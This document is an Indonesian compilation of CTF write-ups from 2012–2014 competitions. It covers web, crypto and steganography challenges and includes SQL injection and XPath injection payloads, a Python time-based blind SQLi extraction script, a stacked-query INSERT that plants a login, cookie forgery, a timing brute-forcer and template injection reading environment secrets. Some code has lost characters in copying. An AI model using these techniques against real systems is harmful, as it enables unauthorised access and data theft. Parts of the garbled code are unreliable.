Ketika text field username diberi input phoenix maka halaman web akan menampilkan pesan success! logged in as phoenix the key is only for the admin
Ketika text field username diberi input admin maka halaman web menampilkan pesan admin login disabled
Langkah pertama dilakukan dengan menginspeksi header HTTP POST /login HTTP/1.1 Host: badmedicine.shallweplayaga.me ContentType: application/xwwwformurlencoded ContentLength: 12 username=CTF HTTP/1.1 303 See Other Date: Mon, 17 Jun 2013 13:44:10 GMT Location: /welcome SetCookie: username=2bf80e TransferEncoding: chunked ContentType: text/plain; charset=utf8
Direktori /login sepertinya mengenkripsi username lalu redirect pada /welcome Jika username adalah “admin”, maka cookie tidak diset Langkah kedua melakukan percobaan untuk menebak skema enkripsi pada cookie dengan cara memasukkan berbagai username sebagai berikut USERNAME aaaa admaa admin0
COOKIE 09 cd 29 94 af 09 c8 25 94 af 09 c8 25 9c a0 1e
USERNAME adaaa admia admin1
COOKIE 09 c8 29 94 af 09 c8 25 9c af 09 c8 25 9c a0 1f
Sehingga didapatkan hasil bahwa tiap karakter username dienkripsi berdasarkan tempatnya dan nilai cookie menghasilkan kode hexadesimal. Baris terakhir pada tabel menunjukkan bahwa nilai cookie dari admin seharusnya adalah 09c8259ca0. Selanjutnya memanggil halaman /welcome menggunakan nilai cookie ini
1
GET /welcome HTTP/1.1 Host: badmedicine.shallweplayaga.me Cookie: username=09c8259ca0 HTTP/1.1 200 OK Date: Mon, 17 Jun 2013 14:21:55 GMT TransferEncoding: chunked ContentType: text/html; charset=utf8 f4 badmedicine
badmedicine
success!
logged in as admin
The key is: who wants oatmeal raisin anyways twumpAdby
Sehingga didapatkan key: who wants oatmeal raisin anyways twumpAdby
2
DEF CON CTF Qualifier 2013 - 3dub 2 source: http://www.blue-lotus.net/def-con-ctf-qualifier-2013-3dub-2-writeup/
02
URL: http://babysfirst.shallweplayaga.me:8041/
Awalnya login menggunakan username: password:
admin' or '1'='1 admin' or '1'='1
Berhasil login namun sebagai root namun halaman web tidak menampilkan apa-apa. Melihat dari header, problem ini sepertinya adalah SQLi problem Dengan query ini a' UNION ALL SELECT sqlite_version()
Dapat dilihat bahwa angka yang merepresentasikan database dibalik halaman web adalah sqlite. Sehingga masukkan query berikut a' UNION ALL SELECT name from sqlite_master
Halaman web akan menampilkan babysfirst success! logged in as keys
Selanjutnya untuk mendapatkan key gunakan query berikut a' UNION ALL SELECT * from keys
Sehingga didapatkan key: literally online lolling on line WucGesJi
3
Mozilla CTF 2012 - Spark – Underwater Camouflage source: http://blog.squareroots.de/en/2012/01/mozillactf-write-up-underwatercamouflage-250/
03
Salah satu challenge pada MozillaCTF adalah untuk menentukan bagaimana Password Recovery Token digenerate. “There’s something fishy (mencurigakan) about the generation of recovery token. Find out how to generate them for other accounts!” Token dapat dilihat langsung setelah logging in dan melihat detail user. Untuk mengumpulkan informasi bagaimana algoritma generate ini, dibuatlah tiga akun dan melihat perbedaan dari tiap token yang dihasilkan. sqrts1;[email protected];NR0TE0lgSiwIAhBOEhEOUk0RCgwHBAARAGAFCA0JSQcPVB8eTwoBTQAYFRwHYUo= sqrts2;[email protected];NR0TE0kRZyAABxVJHQQVTxFcBg4ZBgMXB1NZKQkESQUHThEYDhtAQxwEFBkGVVQ= sqrts3;[email protected];NR0TE0kSZyAABxVJHQQVTxFcBg4ZBgMXB1NaKQkESQUHThEYDhtAQxwEFBkGVVQ=
Dapat dilihat perbedaan yang jelas antara user pertama dan user kedua, namun hanya sedikit perbedaan dari user kedua dan ketiga. Melihat dari token yang telah tergenerate, ada perbedaan pada byte ke-8. Perbedaan diantara sqrts1 dan sqrts2 sangat jelas, diantara sqrts2 dan sqrts3 hanya satu bit. Karena perbedaan inilah, dipercayai bahwa alamat e-mail digunakan sebagai input untuk mengenerate token dan bukan karena username. Diketahui bahwa base64 menyandikan 6 bytes sedangkan base256 menyandikan 8 bytes. Sehingga digunakanlah 8 bytes pertama dari token dan 6 bytes dari alamat e-mail. Melihat dari hasil, dimungkinkan bahwa dilakukan enkripsi XOR. Sehingga dilakukanlah pengecekan XOR print xor_crypt_string(base64.b64decode("NR0TE0kS"), "sqrts2")
Yang menghasilkan Flag:
Hasil menunjukkan bahwa token terbentuk dari enkripsi XOR. Tetapi, alamat e-mail yang telah didaftarkan sebelumnya hanya memiliki 21 karakter, padahal base64 menghasilkan token sepanjang 47 karakter. Sehingga dibuatlah alamat email yang panjang, kemudian mendaftarkan e-mail tersebut. [email protected]
Alamat email diatas menghasilkan token MQkAFV9MSCIKBxdHFQoTUgYTCQ0NGR0LFFgHGw8AWRoHTgQECBoNSBIFCw0aRkI=
Ambil 47 karakter pertama dari alamat e-mail dan token base64 yang telah disandikan dan melakukan operasi XOR akan menghasilkan flag Many sea creatures hide in plain sight!
4
VOLGA CTF 2014 Quals - Web 100 source: http://ctfwriteups.blogspot.co.id/2014/03/volga-ctf-2014-quals-web-100.html
04
URL: http://tasks.2014.volgactf.ru:28101/
Langkah pertama dilakukan aksi login
Melihat dari hasil, problem ini berkaitan tentang php session id. Terdapat sebuah komentar pada source page html yang mengatakan help.php, sehingga dilakukan load halaman tersebut
Berikut ini adalah hasil yang ditampilkan browser. Pada text field link terdapat link dengan variabel PHPSESSID.
Selanjutnya meload alamat tersebut ketika logged in dan menekan tombol submit. Dengan mereload halaman logged in tampil flag Easy_task_on_Session_Fixation
5
ASIS Quals 2014 – Crypto Random Image source: http://blogs.univ-poitiers.fr/e-laize/2014/05/10/asis-2014-randomimage/
05
URL: http://asis-ctf.ir/challenges/ Folder memiliki 2 file $ tar xvfJ crypto_150_8f3fd5d2bacd408904b8406c19183c23 x color_crypto.py x enc.png
color_crypto.py adalah source code algoritma enkrpsi file PNG menggunakan bahasa pemrograman Python. #!/usr/bin/env python import Image import random def get_color(x, y, r): n = (pow(x, 3) + pow(y, 3)) ^ r return (n ^ ((n >> 8) << 8 )) flag_img = Image.open("flag.png") im = flag_img.load() r = random.randint(1, pow(2, 256)) print flag_img.size enc_img = Image.new(flag_img.mode, flag_img.size) enpix = enc_img.load() for x in range(flag_img.size[0]): for y in range(flag_img.size[1]): t = random.randint(1, pow(2, 256)) % 250 enpix[x,y] = t for x in range(flag_img.size[0]): for y in range(flag_img.size[1]): if im[x,y] < 250 : s = get_color(x, y, r) enpix[x,y] = s enc_img.save('enc' + '.png')
enc.png adalah gambar grayscale 8-bit
Analisis algoritma Skema algoritma bergantung pada grayscale threshold. Pada dasarnya dalam gambar original: IF level pixel gray >= 250 THEN dianggap sebagai pixel terang IF level pixel gray < 250 THEN dianggap sebagai pixel gelap Statement tersebut menyandikan gambar Pixel terang akan disubstitusikan dengan nilai random random.randint(1, pow(2, 256)) % 250
Pixel gelap akan dihitung menggunakan fungsi get_color(x, y, r), dari perhitungan koordinat dan nilai besar konstan r = random.randint(1, pow(2, 256)): 6
n = (pow(x, 3) + pow(y, 3)) ^ r
kemudian perhitungan di atas akan mengembalikan kurang dari 8 bit n ^ ((n >> 8) << 8 )
perhitungan tersebut ekuivalen n & 0xff Kelemahan Kelemahan dari perhitungan di atas adalah tiap pixel dengan koordinat x dan y dikenal sebagai nilai konstan r. 1. Tiap nilai pixel dari gambar yang telah disandikan di XOR dengan nilai (x3 + y3) 2. Sehingga byte yang kurang penting dari r adalah nilai yang paling sering terjadi 3. Akhirnya Jika sebuah pixel dari gambar yang telah disandikan XOR (x3 + y3) = nilai byte
yang kurang penting dari r, maka pixel dari gambar original adalah gelap atau hitam Atau pixel dari gambar original adalah terang atau putih
Mungkin ada beberapa pixel yang dianggap gelak ketika mereka cerah karena nilai random namun secara statistik mereka akan sedikit Dekoder menggunakan bahasa pemrograman Python import Image enc_img = Image.open('enc.png') enc_pix = enc_img.load() # 1. XOR all pixel values with corresponding (x**3 + y**3) pow_pix = [(enc_pix[x,y] ^ (x**3 + y**3)) & 0xff for x in range(enc_img.size[0]) for y in range(enc_img.size[1])] # 2. r_LSbyte = most frequently occurring byte r_LSbyte = max([b for b in range(0x100)], key = pow_pix.count) flag_img = Image.new(enc_img.mode, enc_img.size) flag_pix = flag_img.load() for x in range(enc_img.size[0]): for y in range(enc_img.size[1]): if ((enc_pix[x, y] ^ (x**3 + y**3)) & 0xff == r_LSbyte): flag_pix[x, y] = 0 # original pixel was dark else: flag_pix[x, y] = 255 # original pixel was bright flag_img.save('flag.png')
Setelah program dijalankan dan mengakses gabar enc.png maka hasil flag yang didapat dari PNG tersebut (dengan byte kurang dari r = 0x3d) adalah ASIS_af4e8dcbbcdcef44fd3ecdbc6e9695d4
7
ASIS Quals 2014 – Web Hidden Flag source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-hiddenflag/
06
URL: http://asis-ctf.ir/challenges/ Untuk menyelesaikan problem ini, diharuskan menemukan flag tersembuyi. Pada dasarnya, untuk mencari flag harus melihat secara detail pada halaman website. Satu cara yang bagus dan mudah adalah dump paket jaringan dari halaman web dan mencari beberapa kata pilihan. Untuk menggunakan cara ini, tentu saja harus menonaktifkan pengkodeab gzip/deflate pada browser untuk melihat html polos. Kemudian dengan menggunakan tcpdump sederhana dalam bentuk ASCII dan grep akan menampilkan flag sementara $ tcpdump A s 16384 host asisctf.ir | grep i 'asis_\|flag' ... XFlag: ASIS_b6b?244608c2?c2e869cb56?67b64?b1 ...
Terlihat seperti flag yang valid, diambil dari header respon HTTP dari website CTF. Setelah itu mencari kemungkinan dari tanda ? Menemukan flag yang tepat Submission board ASIS memiliki fungsionalitas yang menarik, yang memeriksa flag sebelum mengirimnya pada website asis-ctf.ir <script src="/static/js/sha256.js"> <script> $(document).on('hidden.bs.modal', function (e) { e.preventDefault(); $(e.target).removeData('bs.modal'); }); var i=0; var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!']; var final_result="Do you want to hack me?"; $('#flag_submission').submit(function(e){ e.preventDefault(); var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT"); var hash = shaObj.getHash("SHA256", "HEX"); var shaObj2 = new jsSHA(hash, "TEXT"); var hash2 = shaObj2.getHash("SHA256", "HEX"); if (document.forms["flag_submission"]["check"].value !== hash2) { if ($("#id_flag").next().length == 0){ $('').insertAfter('#id_flag'); } if (i++>6){ $('#answer').removeClass('alertdanger').addClass('alert'); $('#answer').text(final_result); } else $('#answer').text(result[Math.floor(Math.random() * 7)]); return false; } $.ajax({ type: "POST", url: "/challenges/22/", data: $('form').serialize(), success: function(msg){ $("#ModalContainer").html(msg)
Sehingga flag yang telah dikirim dilakukan hash sebanyak dua kali menggunakan SHA-256 dan hasilnya dibandingkan dengan form check, dimana pada problem ini adalah:
Jadi, dilakukanlah bruteforce untuk 4 karakter yang belum diketahui dengan menggunakan script di bawah ini import string from hashlib import sha256 check = '61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc' for h1 in string.hexdigits: for h2 in string.hexdigits: for h3 in string.hexdigits: for h4 in string.hexdigits: FLAG = 'ASIS_b6b'+h1+'244608c2'+h2+'c2e869cb56'+h3+'67b64'+h4+'b1' if sha256(sha256(FLAG).hexdigest()).hexdigest() == check: print 'Found flag:', FLAG break
Sehingga ditemukan flag ASIS_b6b9244608c2fc2e869cb56067b64bb1
9
ASIS 2014 final - PTOT source: http://blogs.univ-poitiers.fr/e-laize/2014/10/13/asis-2014-ptot/
07
URL: https://asis-ctf.ir/tasks/PTOT_1d23c8694e5cf6727b9ed21285a0d61f Deskripsi Temukan flag pada image (PTOT_1d23c8694e5cf6727b9ed21285a0d61f) Hal pertama yang harus dilakukan adalah menemukan gambar apakah yang diberikan
Dengan menggunakan google image akan ditemukan beberapa link menarik seperti ini sebagai contoh http://www.voiceonapage.com/ProjectsTypography/Typeface%20Poster/PTOT.pdf Jadi, PTOT adalah singkatan dari Periodic Table of Typefaces. Dapat diperhatikan pada gambar beberapa font tidak pada tempatnya, dan beberapa muncul 2 atau 3 kali. Sehingga dibuatlah tabel seperti berikut agar mengetahui perbedaan (original rank --> crypto rank | crypto symbol)
Ada 45 perbedaan dimana satu bit lebih panjang dari flag ‘ASIS_md5()’ biasanya memiliki panjang 37 karakter. Setelah beberapa kali percobaan, dapat dilihat atau perhatikan bahwa jika kita menggabungkan semua nomor kemudian mengkonversinya dengan nilai hexa dan menyandikan
10
string hex menjadi ASCII akan didapaykan string dengan panjang 36 karakter dan diakhiri dengan sesuatu seperti nilai md5 yaitu H=format(324878083202626694117443567177148322190861294622618211941523751741739958462509854242915, 'x') print H.decode("hex") >>> ?;??d?hI
Setelah itu mengira-ngira dimanakah letak byte yang hilang, dapat diperhatikan pada tabel perbedaan dimana terdapat tiga satu-digit nomor. Dengan menambahkan 0 pada angka-angka berikut (kecuali yang pertama untuk menghindari konversi oktal pada bahasa pemrograman python), nilai hex akan memberikan string dengan panjang 37 karakter yang merupakan final flag. H=format(3248780832026260694117443567177148322019086129462261821194152375174173995846250985424291 5, 'x') print H.decode("hex") >>> ASIS_c9a1cd21db5d38923562fccabbca808c
Final flag ASIS_c9a1cd21db5d38923562fccabbca808c
11
BackdoorCTF 2014 - Web 10 source: http://ctfwriteups.blogspot.co.id/2014/03/backdoor-ctf-2014-web-10.html
08
Pertanyaan: H4x0r adalah seseorang yang penasaran. Ia biasanya melihat secara detail. H4x0r berhasil menemukan flag pada tingkat ini. Bisakah kamu? Melihat pada header HTTP maka akan terlihat flag
Flag: 28b3324be8b003ee7e1d0d153fad3c32
12
ASIS CTF 2014 RECON - Fact or Real source: http://ctfwriteups.blogspot.co.id/2014/10/asis-ctf-2014-recon-fact-or-real.html
09
Hal pertama yang dilakukan adalah mengecek twitter handle dari ASIS kemudian ditemukan bahwa biasanya orang yang bernama factoreal adalah orang utama pada hosting asis-ctf. Ketika dilakukan pengecekan pada foto twitternya, terdapat clue atau hint “fact or real” dan motto pada gambar: “NO+$=YES”
Flag adalah ASIS_md5(NO+$=YES) Final flag = ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6
Setelah membuka URL di atas ditampilkan sebuah form login. Ketika membicarakan form login maka hal pertama yang ada pada benak adalah SQL injection. Setelah beberapa kali testing, akhirnya ditemukan injection time-based pada field username menggunakan 1' AND BENCHMARK(5000000,MD5(0x123)) AND ''='
Hal ini dapat diselesaikan dengan menggunakan sqlmap namun cara ini terlalu lama dan menampilkan beberapa kesalahan. Dengan menggunakan script bahasa pemrograan Python untuk menyelesaikan problem, lalu menemukan beberapa informasi yang berharga. Ada tiga database yaitu information_schema sqli_db test
Ada database yang sangat mencurigakan yaitu sqli_db Didalam database tersebut hanya terdapat sebuah tabel dengan nama users Tabel users memiliki empat field yaitu user_id user_name user_email user_password_hash
Awalnya, dilakukan pengambilan data dari tabel tersebut namun tidak ditampilkan apa-apa, namun beberapa waktu kemudian didapatkan sebuah string dari field user_password_hash $2y$10$gyI0vxnE3ZncmdLNGVmwTew/aPwBZPY4cEMCRENAjN4?0l8iu9O5R6iW
Dilakukan pencarian “$2y$10” dengan menggunakan google, dapat diketahui bahwa string tersebut adalah head dari metode enkripsi blowfish hash PHP, namun kelihatannya tidak bisa mendapatkan nilai asli dari string tersebut. Hint: $2y$10$HXDsGCYFW5ajuzYO5qcyfOygl5r27BQB5DkL5ZfgoTfPSRMhlUAnG
Pada waktu itu, admin memberikan hint pada problem ini ';insert into users values (333,'hqd','1','[email protected]');select '
14
Pada waktu yang sama, tiba-tiba isi dari tabel user menghilang. Karena hal tersebut maka dilakukan percobaan menggunakan query INSERT ';insert into users values (333,'hqd','1','[email protected]');select '
Dan akhirnya berhasil. Dengan sangat mudah, lakukan penambahan data hash dari password. Ada script PHP yang dapat melakukan hal ini ';insert into users values (333,'hqd','$2y$10$YTNlM2RiNmFiODgzZGM2YuYqP7NHnuZ31TyucetPJkODqia/XH5KC','1@1. com');select ' #this is the blowfish hash value of 'admin'
Lalu kembali login menggunakan username: hqd dan password: admin kemudian muncul flag ASIS_9689926853009CAAD5BF824863077DC9 Source code yang digunakan f.py from httplib import HTTPConnection HTTPConnection._http_vsn_str = 'HTTP/1.0' def post_payload( payload ): conn = HTTPConnection( '78.38.193.187' ) conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True ) conn.putheader( 'ContentType', 'application/xwwwformurlencoded' ) conn.putheader( 'ContentLength', str(len(payload)) ) conn.endheaders( message_body=payload ) resp = conn.getresponse() resp.read() from urllib import urlencode from time import time def get_bool( expression ): start = time() post_payload( urlencode( dict( login = '', user_password = ' ', user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression, ) ) ) end = time() print 'Time:', endstart return endstart>0.95 def get_bit( expression ): return '1' if get_bool( expression ) else '0' from itertools import count def get_string( expression ): result = '' for i in count( start=1 ): char = '' for j in range(8)[::1]: print 'Byte %d, Bit %d,' % (i,j), bit = get_bit( 'ascii(substr(%s,%d,1))>>%d&1' % ( expression, i, j ) ) print bit char += bit char = int( char, 2 ) if char == 0: break result += chr(char) return result
15
# def get_query( expression ): # print get_string( 'database()' ) print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' ) # print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' ) # print get_string( '@@datadir' ) # print get_string( 'user()' ) # print get_string( 'version()' )
16
ASIS Quals 2014 - Image source: http://blog.rentjong.net/2014/05/asis-quals-2014-image-trivia-50.html
11
URL: http://asis-ctf.ir/tasks/joy/trivia_50_88da3c57a7b4489036943d35d551cab2 Challenge ini sebenarnya cukup mudah dan terlihat dari poin yang diberikan (50) :), hal yang membuat sedikit frustasi adalah karena flag yang di dapatkan tetap harus di "bruteforce" untuk mendapatkan flag yang tepat, dan ternyata ada hint: yang harus menghubungi panitia terkait flag yang tepat. Seluruh challenge umumnya merupakan file yang di kompresi 2 kali 7z (xz) dan tar, kemudian untuk challenge ini didapatkan file sbb:
Bagi para gamer atau yang merupakan penggemar nintendo pasti akan langsung mengetahui bahwa ini adalah file game untuk nintendo, dan untuk OSX terdapat free emulator yang dapat di pergunakan (salah satunya Nestopia)
Untuk mendapatkan flag-pun kita hanya perlu memainkan game tersebut pada mode "flag" dan apabila selesai stage 1 akan didapatkan flag
Dan yang membuat cukup menghabiskan waktu adalah bahwa flag = 8BIT_RULEZ dan bukan 8 BIT RULES.
17
ASIS CTF Quals 2014 - Spy Paper source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html
12
URL: http://asis-ctf.ir/tasks/stego/steg_100_282d645e3be22eda015aeb255a0b86f5 Deskripsi Download file pada URL di atas kemudian kalkulasi hasil dengan metode MD5 dan menambahkannya setelah “ASIS_”
Gambar yang didapatkan dari download sangat besar dan mudah untuk melihat setia detail. Namun sayangnya, ditemukan keanehan dan keganjalan dalam gambar biru ini dan titik-titik yang mengingatkan pada punched tape dimana sangat dekat dengan solusi akhir. Dan akhirnya dapat ditemukan parity bits dan decrypt pada bagian kedua, namun sayangnya tidak dapat ditemukan hal yang penting dan berguna pada bagian pertama. Setelah itu juga dapat diketahui bahwa gambar ini bisa saja printer steganography dan bagian pertama bisa jadi tanggal dan waktu. Dengan itu didapatkan dekripsi flag: 9/6/19 13:22:44 E4sy_0n3.
18
ASIS CTF Quals 2014 - White noise source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html
Analisa histogram menunjukkan bahwa nilai pada channel green dan blue terbagi rata, dan alasan dibalik semua ini adalah digukan sebagi koordinat untuk mengatur ulang pixel. Namun, red channel hanya memiliki 1 nilai yaitu 126 sehingga akan sia-sia jika mengatur ulang seluruh gambar. Akan didapatkan gambar persegi merah saja sehingga dilakukan pengaturan dengan menggunakan 30 baris pertama dari gambar untuk penataan ulang dan akhirnya akan didapatkan flag
Flag: ASIS_329afbd5ba6fc8b1dfl5e886adbdcc25
19
BackdoorCTF 2014 - Web 30 source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web30-eng.html
14
URL: http://backdoor.cognizance.org.in/problems/web30/ Langkah pertama yang dilakukan adalah masuk pada secure zone http://backdoor.cognizance.org.in/problems/web30/auth.php? Dengan begitu server akan merespon “Sorry, you will never get a flag in your life :P Not authorized” Selanjutnya buka get-request menggunakan development tools pada browser. Sebagai catatan, cookie auth = false telah diset.
Ubah nilai menjadi true kemudia buka halaman secure zone dan akhirnya akan didapatkan flag: aeba37a3aaffc93567a61d9a67466fdf
20
BackdoorCTF 2014 - Web 100 source: http://blog.semekh.ir/post/backdoorCTF-2014-web100-1-writeup
15
Tentu saja web server menampilkan file gambar untuk menilainya. Setelah itu melihat request dengan cara mengetikkan netcat lkv 54321
Dan submit link image http://YOURIP:54321/
Sehingga akan mendapatkan tulisan seperti berikut listening on [any] 54321 ... connect to [YOURIP] from backdoor.cognizance.org.in [128.199.215.224] 46845 GET / HTTP/1.1 Host: YOURIP:54321 Accept: */* X-Referrer: 92702a9381515494689f5d14f85a83b7.php
Ada sesuatu yang menarik yaitu Referrer. Selanjutnya dicoba untuk mengakses url tersebut yang berisi pesan By the way, the flag is f556b9a48a3ee914f291f9b98645cb02
Pada komentar HTML Sehingga flag f556b9a48a3ee914f291f9b98645cb02
Format flag: md5_string form menggunakan JSON, template. Diketahui bahwa underscore.js dapat digunakan sebagai template library. Kode juga telah diberikan. Pertama-tama, buka kode dan cari flag (dapat ditemukan di app.js) if(!process.env.FLAG) { console.error("No flag in environment"); process.exit(1); }
Lalu tampilkan hasilnya. Kemudian isi form yang ada di bawah (data = JSON valid, template = single statement seperti di bawah ini)
Tekan tombol Convert kemudian flag akan didapat Flag: 16367694ede9faef0efec36845e18ceb
22
BackdoorCTF 2014 - Web 200 source: https://scoding.de/backdoorctf-2014-writeup
Problem: H4x0r baru-baru ini membuat server baru. Karena malas, dia tidak mensetting servernya dengan baik dan menemukan bahwa severnya agak lambat dan semakin lambat ketika menjalankan query yang panjang. Kepala di perusahaan mencoba untuk mengakses servernya Dia berpikir bahwa server tidak dapat dicrack. Buktikan bahwa ia salah. Format flag = md5_string Problem ini mencari password untuk halaman login. Di dalam source code, teradapat useleep(20000) dimana dieksekusi ketika huruf yang telah dicek benar. Untuk melakukan bruteforce pada password, ditulislah script yang melemparkan exception jika waktu yang diberikan terlampaui. #!/usr/bin/env python import urllib2 import string alpha=string.letters+string.digits url="http://backdoor.cognizance.org.in/problems/web200/submit.php?key=" time_offset=0.4 password="" for i in range(5): t=time_offset+(i*0.2) for a in alpha: test_key=password+a*(5-len(password)) try: r=urllib2.urlopen(url+test_key, timeout=t) except: if len(password)<=i: password+=a print password break r=urllib2.urlopen(url+password) print r.read()
Dengan cara ini didapatkan password huruf demi huruf ./brute.py Z Z9 Z9A Z9A9 Z9A9x
Dengan passwo ZX9A9x didapatkan flag ee7528e19f87ba00b4b4c721b646a8a2
23
BackdoorCTF 2014 - Web 250 Yaml source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web250-eng.html
18
URL: http://backdoor.cognizance.org.in/problems/web250-1/ Format flag: md5_string Problem ini mirip dengan problem BackdoorCTF 2014 Web100-2 template library yang digunakan adalah mustache. Data dan template disimpan pada satu field (data dimulai dan diakhiri dengan tanda --) Format data adalah yaml, template library adalah mustache. Solusi yang sama {{process.env.FLAG}}, tidak dapat digunakan. Yaml menggunakan data type yang didefinisikan oleh user. Banyak parser yang mensupport type fungsi javascript. Masukkan data seperti yang ada pada di bawah ini kemudian klik Convert
Flag: fb1f85e4f37eb3bf31141cb1dcce1caf
24
Sharif University CTF 2014 - Rolling hash source: https://ctfcrew.org/writeup/73
19
Task: flag="*********" def RabinKarpRollingHash( str, a, n ): result = 0 l = len(str) for i in range(0, l): result += ord(str[i]) * a ** (l i 1) % n print "result = ", result RabinKarpRollingHash(flag, 256, 10**30)
Output adalah 1317748575983887541099 Apa flagnya? Solusi: Fungsi hash ini mengambil tiap karakter pada string yang telah diinput kemudian mengkonversinya kedalam tipe data int dan mengalikannya dengan pangkat dari a dan modulo n. Namun melihat dari hash ini RabinKarpRollingHash(flag, 256, 10**30)
a = 256 dan itu berarti tiap perkalian yang dilakukan dengan a ekuivalen dengan simple left-shifting. Jika input string pendek maka tidak perlu dilakukan perkalian dengan modulo dan mencoba untuk merestore flag dengan menggunakan kode berikut ini hashed_flag = 1317748575983887541099 result = "" while hashed_flag > 0: byte = hashed_flag&0xff result += chr(byte) hashed_flag = hashed_flag byte hashed_flag = hashed_flag >> 8 print result[::1]
Problem ini adalah kasus tentang injecting sebuah aplikasi web yang rentan. Bukan tentang MySQL melainkan XPATH. Seseorang dapat melakukan login sebagai admin dengan menuliskan Username: ' or '1' = '1 Password: ' or '1' = '1
Dan kemudian pada field user tuliskan ' or '1' = '1
Dengan ini akan ditampilkan hasil beserta flag yaitu Pwnium{cf921420dfd44ae4a68a492b3de852a3}
26
Pwnium CTF 2014 - Find the Owner source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014find-the-owner/
21
File yang diberikan adalah file dalam format .exe. Admin berkata bahwa “This file harm to your computer”. Sehingga dapat dikatakan bahwa file ini berbahaya untuk komputer dalam arti lain file ini adalah malicious program atau malware. Untuk menyelesaikan problem ini maka digunakan bantuan tool untuk menganalisis apakah program tersebut memang benar malware atau tidak. Berikut ini langkah-langkah untuk melakukan aktivitas crack: 1. Kunjungi alamat https://anubis.iseclab.org/ untuk online malware analysis tool 2. Kemudan upload file yang telah diberikan 3. Setelah dianalisis maka akan diberikan sebuah file traffic.pcap dan report 4. Observasi report aktivitas iexplore.exe 5. Mendapatkan IP dan alamat port iexplorer.exe – Network Activity From ANUBIS:1028 to 193.95.68.245:81
Pwnium CTF 2014 - So basic source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014so-basic
22
Untuk menyelesaikan problem ini dibutuhkan waktu yang cukup lama dan agak sedikit sulit. Langkah-langkah untuk cracking: 1. Pertama extact Misc75.zip 2. Kemudian obeservasi 40 file yang didapat. Tiap file memiliki ukuran 2 bytes. Nama file ditulis dengan string yang telah disandikan menggunakan md5sums. 3. Setelah itu observasi karakter md5sums dan membandingkan nama file yang diberikan 1. Kemudian mengobservasi untuk angka (beberapa nama file sama dengan angka md5sum) 2. Percobaan observasi dilakukan dengan menggunakan angka 0-39. 3. Hitung angka tersebut dengan menggunakan md5sums 4. Lakukan pengecekan pada tiap nama file 5. Dan pada akhirnya didapatkan urutan dari nama file cfcd208495d565ef66e7dff9f98764da c4ca4238a0b923820dcc509a6f75849b c81e728d9d4c2f636f067f89cc14862c eccbc87e4b5ce2fe28308fd9f2a7baf3 a87ff679a2f3e71d9181a67b7542122c e4da3b7fbbce2345d7772b0674a318d5 1679091c5a880faf6fb5e6087eb1b2dc 8f14e45fceea167a5a36dedd4bea2543 c9f0f895fb98ab9159f51fd0297e236d 45c48cce2e2d7fbdea1afc51c7c6ad26 d3d9446802a44259755d38e6d163e820 6512bd43d9caa6e02c990b0a82652dca c20ad4d76fe97759aa27a0c99bff6710 c51ce410c124a10e0db5e4b97fc2af39 aab3238922bcc25a6f606eb525ffdc56 9bf31c7ff062936a96d3c8bd1f8f2ff3 c74d97b01eae257e44aa9d5bade97baf 70efdf2ec9b086079795c442636b55fb 6f4922f45568161a8cdf4ad2299f6d23 1f0e3dad99908345f7439f8ffabdffc4 98f13708210194c475687be6106a3b84 3c59dc048e8850243be8079a5c74d079 b6d767d2f8ed5d21a44b0e5886680cb9 37693cfc748049e45d87b8c7d8b9aacd 1ff1de774005f8da13f42943881c655f 4e732ced3463d06de0ca9a15b6153677 8e296a067a37563370ded05f5a3bf3ec 02e74f10e0327ad868d138f2b4fdd6f0 33e75ff09dd601bbe69f351039152189 6ea9ab1baa0efb9e19094440c317e21b 34173cb38f07f89ddbebc2ac9128303f c16a5320fa475530d9583c34fd356ef5 6364d3f0f495b6ab9dcf8d3b5c6e0b01 182be0c5cdcd5072bb1864cdee4d3d6e e369853df766fa44e1ed0ff613f563bd 1c383cd30b7c298ab50293adfecb7b18
6. ambil 2 bytes list data yang telah terurut dari 0-39 (09) (1019) (2029) (3039)
– – –
50 65 64 63
77 66 39 31
6e 37 64 65
69 65 66 33
75 65 37 65
6d 62 63 32
7b 37 36 35
30 35 63 35
32 66 30 62
63 64 64 7d
7. Data tersebut adalah hexadecimal sehingga harus dilakukan konversi agar menjadi string. Hex: 50776e69756d7b30326365663765656237356664643964663763366330646331653365323535 627d
Setelah diketahui data,s mulai dilakukan ekstraksi gambar menjadi file. import telnetlib import base64 tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2) foo = foo.strip() foo = base64.b64decode(foo) with open('foo.png', 'w') as f: f.write(foo)
Setelah proses ekstraksi kemudian didapatkan gambar berikut
Setelah melihat gambar dan petunjuk exco. Maka disimpulkan bahwa gambar harus dipotong secara vertikal
Seperti yang diketahui, cracking captcha secara manual sangatlah tidak mungkin. Manusia membutuhkan waktu yang lama sedangkan untuk cracking captha membutuhkan waktu singkat. Untuk itu diperlukan bantuan OCR untuk crack kode dan mengirimkannya kembali ke server. Dengan menggunakan PyTesser yaitu library untuk mengekstrak tulisan dari gambar from PIL import Image img = Image.open("difference.png") img = img.convert("RGB") from pytesser import * passwd = image_to_string(img).replace(" ","").strip()+"\n"
